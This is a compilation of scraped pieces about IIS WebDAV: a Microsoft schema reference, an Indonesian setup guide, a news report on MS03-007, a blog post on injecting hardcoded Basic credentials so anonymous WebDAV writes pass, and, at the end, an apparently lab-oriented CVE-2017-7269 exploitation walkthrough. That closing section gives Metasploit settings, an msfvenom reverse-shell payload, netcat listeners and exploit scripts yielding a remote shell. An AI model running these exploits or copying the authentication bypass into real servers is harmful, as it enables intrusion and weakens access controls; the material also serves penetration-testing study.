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Skip to main content This browser is no longer supported. Upgrade to Microsoft Edge to take advantage of the latest features, security updates, and technical support. WebDAV Element [IIS Settings Schema] Article 10/21/2021 In this article -->NoteFor more information about the webdav element, see the following topic on the Microsoft IIS.net Web site: WebDAV .Contains the settings that configure Web Distributed Authoring and Versioning (WebDAV) for Internet Information Services (IIS) 7. WebDAV is an Internet-based open standard that enables editing Web sites over HTTP and HTTPS connections. WebDAV yields several advantages over the File Transfer Protocol (FTP), the most notable advantages are more security options and the ability to use a single TCP port for all communication.SyntaxAttributes and ElementsThe following sections describe attributes, child elements, and parent elements.AttributesNone.Child ElementsElementDescriptionauthoringOptional element.Specifies the configuration settings for WebDAV authoring.authoringRulesOptional element.Specifies the authoring rules for WebDAV publishing. These rules specify the content types and authoring permissions for users or groups.globalSettingsOptional element.Specifies the global settings for the WebDAV module.Parent ElementsElementDescriptionconfigurationSpecifies the root element in every configuration file that is used by IIS 7.system.webServerSpecifies the top-level section group (in ApplicationHost.config) in which this element is defined.RemarksFor more information about the webdav element, see the following topic on the Microsoft IIS.net Web site: WebDAV .Element InformationConfiguration locationsApplicationHost.configRequirementsIIS 7See AlsoReferenceauthoring Element for WebDAV [IIS Settings Schema]authoringRules Element for WebDAV [IIS Settings Schema]globalSettings Element for WebDAV [IIS Settings Schema] --> Additional resources In this article

Lompati ke konten utama Browser ini sudah tidak didukung. Mutakhirkan ke Microsoft Edge untuk memanfaatkan fitur, pembaruan keamanan, dan dukungan teknis terkini. Menginstal dan Mengonfigurasi WebDAV di IIS 7 dan Yang Lebih Baru Artikel07/18/2023 Dalam artikel ini -->oleh Robert McMurrayPengantarUntuk Internet Information Services (IIS) 7.0 di Windows Server® 2008, Microsoft merilis modul ekstensi WebDAV terpisah yang dapat diunduh yang sepenuhnya ditulis ulang. Modul ekstensi WebDAV baru ini menggabungkan banyak fitur baru yang memungkinkan penulis Web menerbitkan konten lebih baik dari sebelumnya, dan menawarkan administrator Web lebih banyak opsi keamanan dan konfigurasi. Dengan rilis IIS 7.5, dukungan untuk modul WebDAV yang lebih baru adalah bawaan untuk Microsoft IIS, dan Microsoft merilis versi terbaru dari modul yang dapat diunduh yang telah dirilis untuk IIS 7.0. Versi modul WebDAV yang lebih baru ini menyediakan dukungan kunci bersama dan eksklusif untuk mencegah pembaruan yang hilang karena penimpaan.Dokumen ini memanmbing Anda menambahkan penerbitan WebDAV ke situs Web yang sudah ada dengan menggunakan antarmuka pengguna WebDAV baru dan dengan langsung mengedit file konfigurasi IIS.CatatanPanduan ini berisi serangkaian langkah di mana Anda masuk ke situs Web Anda menggunakan alamat loopback lokal dan akun administrator lokal. Saat menggunakan akun administrator, langkah-langkah ini hanya boleh diikuti di server itu sendiri menggunakan alamat loopback atau melalui SSL dari server jarak jauh. Jika Anda lebih suka menggunakan akun pengguna terpisah alih-alih akun administrator, Anda harus membuat folder yang sesuai dan mengatur izin yang benar untuk akun pengguna tersebut bila perlu.CatatanTopik ini membahas penggunaan Pengalih WebDAV untuk menyambungkan ke situs web Anda. Silakan lihat topik Menggunakan Pengalih WebDAV untuk informasi selengkapnya; khususnya bagian "Pemecahan Masalah Pengalihan WebDAV" jika Anda mengalami masalah saat menggunakan pengalih WebDAV.Prasyarat untuk Menginstal dan Mengonfigurasi WebDAV di IISItem berikut diperlukan untuk menyelesaikan prosedur dalam artikel ini:IIS 7.0 atau yang lebih baru harus diinstal di server Anda, dan berikut ini harus dikonfigurasi:Situs Web Default yang dibuat oleh penginstalan IIS 7.0 harus masih ada.Pengelola Layanan Informasi Internet harus diinstal.Setidaknya satu metode autentikasi harus diinstal.CatatanJika Anda memilih untuk menggunakan Autentikasi Dasar dengan pengalih WebDAV, Anda harus tersambung ke server Anda menggunakan HTTPS.Pengalih WebDAV harus diinstal untuk Windows Server 2008, Windows Server 2008 R2, atau Windows Server 2012. (Pengalih WebDAV sudah diinstal pada Windows Vista, Windows 7, dan Windows 8.) Untuk menginstal Pengalih WebDAV, gunakan Manajer Server untuk menginstal fitur Pengalaman Desktop.Menginstal WebDAV di IIS 7.0Mengunduh Versi yang Tepat untuk Server AndaAda dua paket terpisah yang dapat diunduh untuk modul ekstensi WebDAV

Microsoft Corp. said today that it has discovered a critical security vulnerability in a component of its Windows 2000 operating system that could enable a remote attacker to gain total control of a machine running Windows 2000 and Microsoft’s Internet Information Server (IIS) Web server. The company has also received isolated reports of attacks that exploit the new vulnerability, according to a spokesman.An unchecked buffer in a Windows 2000 component used to handle the World Wide Web Distributed Authoring and Versioning (WebDAV) protocol could allow an attacker to cause a buffer overflow on a machine running IIS, according to Microsoft security bulletin MS03-007. WebDAV is a set of extensions to HTTP that allows users to edit and manage files on remote Web servers. The protocol is designed to create interoperable, collaborative applications that facilitate geographically dispersed “virtual” software development teams.Attackers could mount a denial-of-service attack against such machines or execute their own malicious code in the security context of the IIS service, gaining unfettered access to the vulnerable system, Microsoft said. Attacks could come in the form of malformed WebDAV requests to a machine running IIS Version 5.0. Because WebDAV requests typically use the same port as other Web traffic (Port 80), attackers would only need to be able to establish a connection with the Web server to exploit the vulnerability, Microsoft said. Machines running the Windows NT and XP operating systems are not vulnerable, according to Microsoft. Microsoft provided a patch for the WebDAV vulnerability and recommended that customers using IIS Version 5.0 on Windows 2000 apply that patch at the earliest possible opportunity. Because of reports of active attacks exploiting the WebDAV vulnerability, an updated version of Microsoft’s IIS Lockdown Tool was also released for organizations that are unable to immediately install the patch or that do not

I have been seeing this question being put up on lot many forums plus we are getting a lot of support cases opened by customers requesting for this feature.In IIS 7+ we have changed the feature of allowing PUT, MKCOL, PROPPATCH, COPY, MOVE, and DELETE to require authentication. Anonymous PROPFINDs are allowed for file listings, but others require the request be authenticated. This was done as a security measure. In IIS 6.0 we did have the provision of using the above methods using anonymous requests from the clients but not anymore. I think the reason people still want this feature in IIS 7 is because of some 3rd party applications like CURL etc which send Anonymous PUT requests to a WebDAV site.Lot of people who have migrated from IIS 6.0 to IIS 7+ still request for this functionality. Please note that this is neither recommended nor supported by Microsoft Product Support Services (PSS).Here, however I will show you a method of achieving a similar feature without users requiring to send user credentials for WebDAV requests. Basically the WebDAV module checks whether the request is authenticated or not. If not (i.e. using Anonymous authentication) WebDAV module will respond saying “Anonymous access not allowed” in the FREB logs. There is a KB article which talks about this as well one way of hacking this is to convince WebDAV module that your request is authenticated. So before the WebDAV module gets a chance to handle the request ensure we change the identity context as an authenticated user. In IIS 7 we can write a native ISAPI filter (preferred for performance reasons) or a managed HTTP Module which can intercept the request and change the user context to some pre-configured windows identity. Or else you can read a username/password from a configuration file (or hard code the vale) and then create a basic Base64 hash for the combination and add it to the Request header collection. This in my opinion is a neater way than the first method.Here are the steps for injecting Basic Base64 hash in the Request header collection:Create a custom HTTP Module (attached with the post) and on Application_BeginRequest read the username/password (either a local or a domain user credential, your choice). Here in the sample I have hardcoded these values but you can read it from a configuration file or by some other means. After we have the username and the password, we concatenate the strings separated by a colon (:), and then compute the Base64 hash for this string and then add a custom HTTP header (“Authorization”) to the incoming request with this Base64 value. The processing in the remaining pipeline thinks that the end user has sent a Basic authentication credential whereas our module is adding this in the BeginRequest event.Compile the Http Module and copy the dll in to the bin folder under your WebDAV site in IIs 7.Ensure that the custom HTTP Module is invoked before the WebDAV module. WebDAV module thinks that the request is

Microsoft IIS is vulnerable to a buffer overflow, caused by improper bounds checking by the ScStoragePathFromUrl function in the WebDAV service. By sending an overly long header beginning with If: http:// in a PROPFIND request, a remote attacker could overflow a buffer and execute arbitrary code on the system.Affected ProductsMicrosoft IIS 6.0DetectionNmapnmap -T4 -p80 –script=http-iis-webdav-vuln 10.10.10.15nmap –script http-webdav-scan -p80 10.10.10.14Exploitation (Metasploit)1. For this we will use the module (iis_webdav_scstoragepathfromurl)search cve:2017-7269use exploit/windows/iis/iis_webdav_scstoragepathfromurlshow options2. Set the required options in this caseset RHOSTS 10.10.10.15set RPORT 80set LHOST 10.10.14.4set LPORT 4444run3. Once, we get the connection back we can get out shellshellNote: You can use different payloads other than meterpreter, example windows/shell/reverse_tcp1. Exploitation (Script)There is another way to exploit this vulnerability using a custom script, I will use ( Download the script from GitHubgit clone explodingcanls2. Using MSFVenom create a payload in shellcode, and save it to a filemsfvenom -p windows/shell_reverse_tcp -f raw -e x86/alpha_mixed LHOST=10.10.14.4 LPORT=4455 > shellcode_rev3. Now start a netcat listenernc -lvp 44554. Run the script and pass the reverse shellcode as argumentpython explodingcan.py shellcode_rev5. Now check the listener2. Exploitation (Script)There is another way to exploit this vulnerability using a custom script, I will use ( Download the script from GitHubgit clone iis6-exploit-2017-CVE-2017-7269ls2. Now start a netcat listenernc -lvp 44553. Run the script and pass the arguments it needs, you can rename the script to add .py extensionpython “iis6 reverse shell” 10.10.10.14 80 10.10.14.4 44554. Now check the listener, we should have a shell backwhoamiRemedyRefer to Microsoft KB3197835 for patch, upgrade